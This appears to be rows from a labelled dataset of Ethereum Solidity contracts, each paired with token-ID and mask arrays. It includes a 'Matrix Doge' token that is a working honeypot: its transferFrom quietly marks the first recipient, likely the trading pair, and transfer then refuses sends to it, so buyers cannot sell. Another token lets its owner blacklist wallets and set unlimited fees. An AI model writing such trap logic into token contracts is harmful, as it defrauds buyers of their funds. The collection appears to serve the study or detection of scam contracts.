.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true;
bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true;
bots[address(0x34822A742BDE3beF13acabF14244869841f06A73)] = true;
bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true;
bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true;
bots[address(0x8484eFcBDa76955463aa12e1d504D7C6C89321F8)] = true;
bots[address(0xe5265ce4D0a3B191431e1bac056d72b2b9F0Fe44)] = true;
bots[address(0x33F9Da98C57674B5FC5AE7349E3C732Cf2E6Ce5C)] = true;
bots[address(0xc59a8E2d2c476BA9122aa4eC19B4c5E2BBAbbC28)] = true;
bots[address(0x21053Ff2D9Fc37D4DB8687d48bD0b57581c1333D)] = true;
bots[address(0x4dd6A0D3191A41522B84BC6b65d17f6f5e6a4192)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5840,
1011,
2340,
1008,
1013,
1013,
1008,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
4769,
2797,
1035,
3025,
12384,
2121,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
9570,
2953,
1006,
1007,
1063,
4769,
5796,
5620,
10497,
2121,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1025,
1035,
3954,
1027,
5796,
5620,
10497,
2121,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
5620,
10497,
2121,
1007,
1025,
1065,
3853,
3954,
1006,
1007,
2270,
3193,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
1035,
3954,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
1000,
2219,
3085,
1024,
20587,
2003,
2025,
1996,
3954,
1000,
1007,
1025,
1035,
1025,
1065,
3853,
17738,
17457,
12384,
2545,
5605,
1006,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
4769,
1006,
1014,
1007,
1007,
1025,
1035,
3954,
1027,
4769,
1006,
1014,
1007,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1010,
1000,
2219,
3085,
1024,
2047,
3954,
2003,
1996,
5717,
4769,
1000,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
2047,
12384,
2121,
1007,
1025,
1035,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
3075,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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*Submitted for verification at Etherscan.io on 2021-07-13
*/
/**
*/
pragma solidity ^0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract BEP20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "MXD";
name = "Matrix Doge";
decimals = 9;
_totalSupply = 1000000000 * 10**6 * 10**6;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
contract MatrixDoge is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5718,
1011,
2410,
1008,
1013,
1013,
1008,
1008,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
2459,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
1039,
1027,
1037,
1011,
1038,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
1028,
1014,
1007,
1025,
1039,
1027,
1037,
1013,
1038,
1025,
1065,
1065,
3206,
2022,
2361,
11387,
18447,
2121,
12172,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
19204,
12384,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
5703,
1007,
1025,
3853,
21447,
1006,
4769,
19204,
12384,
2121,
1010,
4769,
5247,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
3588,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
19204,
12384,
2121,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
1065,
3206,
14300,
5685,
9289,
10270,
8095,
5963,
1063,
3853,
4374,
29098,
12298,
2389,
1006,
4769,
2013,
1010,
21318,
3372,
17788,
2575,
19204,
2015,
1010,
4769,
19204,
1010,
27507,
3638,
2951,
1007,
2270,
1025,
1065,
3206,
3079,
1063,
4769,
2270,
3954,
1025,
4769,
2270,
2047,
12384,
2121,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
1035,
2013,
1010,
4769,
25331,
1035,
2000,
1007,
1025,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
1035,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
1063,
2047,
12384,
2121,
1027,
1035,
2047,
12384,
2121,
1025,
1065,
3853,
5138,
12384,
2545,
5605,
1006,
1007,
2270,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
2047,
12384,
2121,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.24;
contract SNOVToken {
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract MultiOwnable {
mapping(address => bool) ownerMap;
address[] public owners;
event OwnerAdded(address indexed _newOwner);
event OwnerRemoved(address indexed _oldOwner);
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
constructor() public {
// Add default owner
address owner = msg.sender;
ownerMap[owner] = true;
owners.push(owner);
}
function ownerCount() public constant returns (uint256) {
return owners.length;
}
function isOwner(address owner) public constant returns (bool) {
return ownerMap[owner];
}
function addOwner(address owner) public onlyOwner returns (bool) {
if (!isOwner(owner) && owner != 0) {
ownerMap[owner] = true;
owners.push(owner);
emit OwnerAdded(owner);
return true;
} else return false;
}
function removeOwner(address owner) public onlyOwner returns (bool) {
if (isOwner(owner)) {
ownerMap[owner] = false;
for (uint i = 0; i < owners.length - 1; i++) {
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
}
owners.length -= 1;
emit OwnerRemoved(owner);
return true;
} else return false;
}
}
contract MultiTransfer is MultiOwnable {
function MultiTransaction(address _tokenAddress, address[] _addresses, uint256[] _values) public onlyOwner {
SNOVToken token = SNOVToken(_tokenAddress);
for (uint256 i = 0; i < _addresses.length; i++) {
token.transfer(_addresses[i], _values[i]);
}
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
3206,
1055,
16693,
18715,
2368,
1063,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
1065,
3206,
4800,
12384,
3085,
1063,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
3954,
2863,
2361,
1025,
4769,
1031,
1033,
2270,
5608,
1025,
2724,
3954,
4215,
5732,
1006,
4769,
25331,
1035,
2047,
12384,
2121,
1007,
1025,
2724,
3954,
28578,
21818,
2094,
1006,
4769,
25331,
1035,
2214,
12384,
2121,
1007,
1025,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
11163,
7962,
2121,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1007,
1025,
1035,
1025,
1065,
9570,
2953,
1006,
1007,
2270,
1063,
1013,
1013,
5587,
12398,
3954,
4769,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
3954,
2863,
2361,
1031,
3954,
1033,
1027,
2995,
1025,
5608,
1012,
5245,
1006,
3954,
1007,
1025,
1065,
3853,
3954,
3597,
16671,
1006,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
5608,
1012,
3091,
1025,
1065,
3853,
11163,
7962,
2121,
1006,
4769,
3954,
1007,
2270,
5377,
5651,
1006,
22017,
2140,
1007,
1063,
2709,
3954,
2863,
2361,
1031,
3954,
1033,
1025,
1065,
3853,
5587,
12384,
2121,
1006,
4769,
3954,
1007,
2270,
2069,
12384,
2121,
5651,
1006,
22017,
2140,
1007,
1063,
2065,
1006,
999,
11163,
7962,
2121,
1006,
3954,
1007,
1004,
1004,
3954,
999,
1027,
1014,
1007,
1063,
3954,
2863,
2361,
1031,
3954,
1033,
1027,
2995,
1025,
5608,
1012,
5245,
1006,
3954,
1007,
1025,
12495,
2102,
3954,
4215,
5732,
1006,
3954,
1007,
1025,
2709,
2995,
1025,
1065,
2842,
2709,
6270,
1025,
1065,
3853,
6366,
12384,
2121,
1006,
4769,
3954,
1007,
2270,
2069,
12384,
2121,
5651,
1006,
22017,
2140,
1007,
1063,
2065,
1006,
11163,
7962,
2121,
1006,
3954,
1007,
1007,
1063,
3954,
2863,
2361,
1031,
3954,
1033,
1027,
6270,
1025,
2005,
1006,
21318,
3372,
1045,
1027,
1014,
1025,
1045,
1026,
5608,
1012,
3091,
1011,
1015,
1025,
1045,
1009,
1009,
1007,
1063,
2065,
1006,
5608,
1031,
1045,
1033,
1027,
1027,
3954,
1007,
1063,
5608,
1031,
1045,
1033,
1027,
5608,
1031,
5608,
1012,
3091,
1011,
1015,
1033,
1025,
3338,
1025,
1065,
1065,
5608,
1012,
3091,
1011,
1027,
1015,
1025,
12495,
2102,
3954,
28578,
21818,
2094,
1006,
3954,
1007,
1025,
2709,
2995,
1025,
1065,
2842,
2709,
6270,
1025,
1065,
1065,
3206,
4800,
6494,
3619,
7512,
2003,
4800,
12384,
3085,
1063,
3853,
4800,
6494,
3619,
18908,
3258,
1006,
4769,
1035,
19204,
4215,
16200,
4757,
1010,
4769,
1031,
1033,
1035,
11596,
1010,
21318,
3372,
17788,
2575,
1031,
1033,
1035,
5300,
1007,
2270,
2069,
12384,
2121,
1063,
1055,
16693,
18715,
2368,
19204,
1027,
1055,
16693,
18715,
2368,
1006,
1035,
19204,
4215,
16200,
4757,
1007,
1025,
2005,
1006,
21318,
3372,
17788,
2575,
1045,
1027,
1014,
1025,
1045,
1026,
1035,
11596,
1012,
3091,
1025,
1045,
1009,
1009,
1007,
1063,
19204,
1012,
4651,
1006,
1035,
11596,
1031,
1045,
1033,
1010,
1035,
5300,
1031,
1045,
1033,
1007,
1025,
1065,
1065,
1065,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-09
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
